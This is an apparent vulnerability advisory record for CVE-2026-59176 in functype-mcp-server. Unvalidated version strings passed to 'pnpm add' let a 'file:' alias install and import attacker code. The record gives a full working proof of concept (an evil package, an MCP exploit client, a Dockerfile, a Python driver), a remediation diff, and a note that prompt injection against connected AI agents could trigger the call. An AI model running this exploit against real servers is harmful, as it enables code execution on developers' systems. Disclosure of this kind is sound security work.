{"id":"CVE-2026-59176","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-59176","summary":"functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import","details":"## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import\n\n### Summary\n\nThe `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).\n\n### Details\n\nThe vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).\n\n**Source (user input accepted without validation):**\n```ts\n// packages/mcp-server/src/index.ts:119-121\nparameters: z.object({\n  version: z.string().describe('The functype version to install (e.g., \"0.46.0\", \"latest\", \"^0.45.0\")'),\n}),\n```\nOnly `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes.\n\n**Sink 1 — arbitrary package installation:**\n```ts\n// packages/mcp-server/src/index.ts:122-125\nexecute: async (args) => {\n  const spec = `functype@${args.version}`\n  try {\n    execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n`args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias.\n\n**Sink 2 — dynamic import executes installed package code:**\n```ts\n// packages/mcp-server/src/lib/docs/data.ts:23-30\nif (force) {\n  const resolvedPath = require.resolve(\"functype/cli\")\n  cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)\n}\n```\n`initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time.\n\n**Data flow summary:**\n1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required.\n2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source).\n3. `index.ts:123` — `functype@${args.version}` constructed without sanitization.\n4. `index.ts:125` — `execFileSync(\"pnpm\", [\"add\", spec], ...)` installs attacker-controlled package (sink: arbitrary install).\n5. `index.ts:134` — `initDocsData(true)` called immediately.\n6. `data.ts:29-30` — `require.resolve(\"functype/cli\")` + dynamic `import()` executes attacker module (sink: RCE).\n\n### PoC\n\n**Step 1 — Prepare the attacker-controlled evil package:**\n```bash\nmkdir -p /tmp/evil\ncat > /tmp/evil/package.json <<'EOF'\n{\"name\":\"evil-functype\",\"version\":\"1.0.0\",\"type\":\"module\",\"exports\":{\"./cli\":\"./cli.js\"}}\nEOF\ncat > /tmp/evil/cli.js <<'EOF'\nimport { writeFileSync } from \"node:fs\";\nwriteFileSync(\"/pwned.txt\", \"RCE: mcp import-time code execution via set_functype_version\\n\");\nexport const TYPES = {};\nexport const INTERFACES = {};\nexport const CATEGORIES = {};\nexport const FULL_INTERFACES = {};\nexport const VERSION = \"1.0.0\";\nEOF\n```\n\n**Step 2 — Clone and build the victim monorepo at the affected version:**\n```bash\nTMP=\"$(mktemp -d)\"\ngit clone https://github.com/jordanburke/functype.git \"$TMP/functype\"\ncd \"$TMP/functype\"\ngit checkout v1.4.3\ncorepack enable\npnpm install --frozen-lockfile\npnpm -F functype build\npnpm -F functype-mcp-server build\n```\n\n**Step 3 — Set up an MCP client to deliver the exploit:**\n```bash\ncd \"$TMP\"\nnpm init -y\nnpm pkg set type=module\nnpm install @modelcontextprotocol/sdk\n\ncat > exploit.mjs <<'EOF'\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst client = new Client({ name: \"poc\", version: \"1.0.0\" });\nconst transport = new StdioClientTransport({\n  command: \"node\",\n  args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],\n  env: { ...process.env, TRANSPORT_TYPE: \"stdio\" },\n});\n\nawait client.connect(transport);\nconst result = await client.callTool({\n  name: \"set_functype_version\",\n  arguments: { version: \"file:/tmp/evil\" },\n});\nconsole.log(result);\nawait client.close();\nEOF\n\nREPO=\"$TMP/functype\" node exploit.mjs\n```\n\n**Step 4 — Verify arbitrary code execution:**\n```bash\ncat /pwned.txt\n# Expected output: RCE: mcp import-time code execution via set_functype_version\n```\n\n**Dynamic reproduction (Docker):**\n\nThe Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE.\n\n```\n[poc] EXPLOIT SUCCEEDED: /pwned.txt exists\n[poc] File contents: RCE: mcp import-time code execution via set_functype_version\n[evil-payload] Arbitrary code executed via functype/cli dynamic import\n```\n\n**Recommended remediation:**\n```diff\n+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\\d+(?:\\.\\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\\+[0-9A-Za-z.-]+)?)$/\n+\n+const isSafeFunctypeVersion = (version: string): boolean => {\n+  const trimmed = version.trim()\n+  return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\\\@]/.test(trimmed)\n+}\n\n execute: async (args) => {\n-  const spec = `functype@${args.version}`\n+  if (!isSafeFunctypeVersion(args.version)) {\n+    return \"Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag.\"\n+  }\n+  const spec = `functype@${args.version}`\n   try {\n-    execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n+    execFileSync(\"pnpm\", [\"add\", \"--ignore-scripts\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n\n### Impact\n\nThis is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.\n\n**Who is impacted:**\n- Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration.\n- Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload.\n- In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access.\n\nThe full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE\n#\n# Build context: reports/npmAI_684_jordanburke__functype/\n#   COPY repo/       -> /workspace/functype/   (victim monorepo)\n#   COPY vuln-001/   -> supporting PoC files\n#\n# Build:  docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .\n# Run:    docker run --rm vuln001-functype-rce\n#\n# Expected exit 0 with \"[poc] EXPLOIT SUCCEEDED\" in output.\n\nFROM node:24-slim\n\n# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).\nRUN npm install -g pnpm@11.7.0 --quiet\n\n# ── Victim workspace ──────────────────────────────────────────────────────────\nWORKDIR /workspace/functype\nCOPY repo/ ./\n\n# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches\n# caused by running on a different pnpm minor than the one that generated the\n# lockfile; the installed versions are still constrained by the lockfile\n# specifiers for the packages we care about.\nRUN pnpm install --no-frozen-lockfile\n\n# Build functype first (mcp-server externals functype at build time).\nRUN pnpm -F functype build\n\n# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).\nRUN pnpm -F functype-mcp-server build\n\n# ── Attacker-controlled evil package ─────────────────────────────────────────\n# /evil/cli.js writes /pwned.txt when dynamically imported.\nCOPY vuln-001/evil/ /evil/\n\n# ── MCP exploit client ────────────────────────────────────────────────────────\nWORKDIR /client\nRUN npm init -y --quiet && \\\n    npm pkg set type=module && \\\n    npm install @modelcontextprotocol/sdk@1.29.0 --quiet\nCOPY vuln-001/client/exploit.mjs ./exploit.mjs\n\n# Default entrypoint: run the exploit and exit 0 on success.\nCMD [\"node\", \"/client/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC driver for VULN-001: MCP set_functype_version Package Alias RCE\nvia Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).\n\nAttack chain:\n  1. Attacker calls MCP tool set_functype_version with version=\"file:/evil\"\n  2. Server executes: execFileSync(\"pnpm\", [\"add\", \"functype@file:/evil\"], ...)\n  3. Evil package is installed as the functype alias in mcp-server's node_modules\n  4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it\n  5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)\n\nUsage:\n  python3 poc.py [--build-only]\n\nRequirements:\n  - Docker daemon running\n  - Build context at parent directory of this file's directory\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport os\nimport argparse\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nREPORT_DIR = os.path.dirname(VULN_DIR)\nIMAGE_NAME = \"vuln001-functype-rce\"\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nRESULT_FILE = os.path.join(VULN_DIR, \"phase2_result.json\")\n\nBUILD_CMD = [\"docker\", \"build\", \"-t\", IMAGE_NAME, \"-f\", DOCKERFILE, REPORT_DIR]\nRUN_CMD = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n\n\ndef run(cmd, timeout=None, **kwargs):\n    \"\"\"Run a command and return CompletedProcess with combined output.\"\"\"\n    return subprocess.run(\n        cmd,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        text=True,\n        timeout=timeout,\n        **kwargs,\n    )\n\n\ndef write_result(passed, verdict, reason, evidence):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": \" \".join(BUILD_CMD),\n        \"run_command\": \" \".join(RUN_CMD),\n        \"poc_command\": f\"python3 {os.path.basename(__file__)}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\", \"evil/package.json\", \"evil/cli.js\", \"client/exploit.mjs\"],\n    }\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, indent=2, ensure_ascii=False)\n    print(f\"[poc] Result written to {RESULT_FILE}\")\n    print(f\"[poc] verdict={verdict}  passed={passed}\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC driver\")\n    parser.add_argument(\"--build-only\", action=\"store_true\", help=\"Only build the image, do not run\")\n    args = parser.parse_args()\n\n    # ── Build ─────────────────────────────────────────────────────────────────\n    print(\"[poc] Building Docker image (this may take a few minutes)...\")\n    print(f\"[poc] Build command: {' '.join(BUILD_CMD)}\")\n\n    try:\n        build = run(BUILD_CMD, timeout=900)\n    except subprocess.TimeoutExpired:\n        msg = \"Docker build timed out after 900 seconds\"\n        print(f\"[poc] ERROR: {msg}\")\n        write_result(False, \"INCOMPLETE\", f\"빌드 타임아웃: {msg}\", msg)\n        sys.exit(2)\n\n    if build.returncode != 0:\n        tail = (build.stdout + \"\\n\" + build.stderr)[-3000:]\n        print(\"[poc] Build FAILED:\")\n        print(tail)\n        write_result(\n            False,\n            \"FAIL\",\n            \"Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.\",\n            f\"BUILD EXIT {build.returncode}\\n{tail}\",\n        )\n        sys.exit(1)\n\n    print(\"[poc] Build succeeded.\")\n\n    if args.build_only:\n        print(\"[poc] --build-only flag set; skipping run.\")\n        sys.exit(0)\n\n    # ── Run ───────────────────────────────────────────────────────────────────\n    print(f\"[poc] Running exploit container: {' '.join(RUN_CMD)}\")\n\n    try:\n        run_result = run(RUN_CMD, timeout=180)\n    except subprocess.TimeoutExpired:\n        msg = \"Container run timed out after 180 seconds\"\n        print(f\"[poc] ERROR: {msg}\")\n        write_result(False, \"INCOMPLETE\", f\"컨테이너 실행 타임아웃: {msg}\", msg)\n        sys.exit(2)\n\n    stdout = run_result.stdout or \"\"\n    stderr = run_result.stderr or \"\"\n    combined = stdout + \"\\n\" + stderr\n\n    print(\"=\" * 60)\n    print(\"STDOUT:\")\n    print(stdout)\n    print(\"STDERR:\")\n    print(stderr)\n    print(f\"EXIT CODE: {run_result.returncode}\")\n    print(\"=\" * 60)\n\n    # Success criteria: exit 0 AND exploit succeeded message present\n    exploit_succeeded = \"EXPLOIT SUCCEEDED\" in combined\n    passed = run_result.returncode == 0 and exploit_succeeded\n\n    if passed:\n        # Extract key evidence lines\n        evidence_lines = [\n            line for line in combined.splitlines()\n            if any(kw in line for kw in (\"EXPLOIT SUCCEEDED\", \"pwned.txt\", \"evil-payload\", \"RCE:\"))\n        ]\n        evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined[-1000:]\n\n        write_result(\n            True,\n            \"PASS\",\n            (\n                \"컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 \"\n                'version=\"file:/evil\" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '\n                \"initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함.\"\n            ),\n            evidence,\n        )\n        print(\"[poc] === PASS: exploit reproduced ===\")\n        sys.exit(0)\n\n    else:\n        # Distinguish failure modes\n        if not exploit_succeeded and run_result.returncode == 0:\n            verdict = \"INCOMPLETE\"\n            reason = (\n                \"/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. \"\n                \"pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 \"\n                \"node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음.\"\n            )\n        else:\n            verdict = \"FAIL\"\n            reason = (\n                f\"컨테이너 종료 코드 {run_result.returncode}. \"\n                \"exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요.\"\n            )\n\n        write_result(False, verdict, reason, combined[-2000:])\n        print(f\"[poc] === {verdict}: exploit did not reproduce ===\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-09-09T23:49:20Z","modified":"2026-09-10T00:10:58.043098Z","cvss":{"score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"functype-mcp-server","fixedVersion":"1.4.4"}],"fix":{"url":"https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf","label":"jordanburke/functype@c0d58ad"},"references":[{"type":"WEB","url":"https://github.com/jordanburke/functype/security/advisories/GHSA-wcjj-9m6g-2fr2"},{"type":"WEB","url":"https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf"},{"type":"PACKAGE","url":"https://github.com/jordanburke/functype"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T00:10:58.043098Z"}}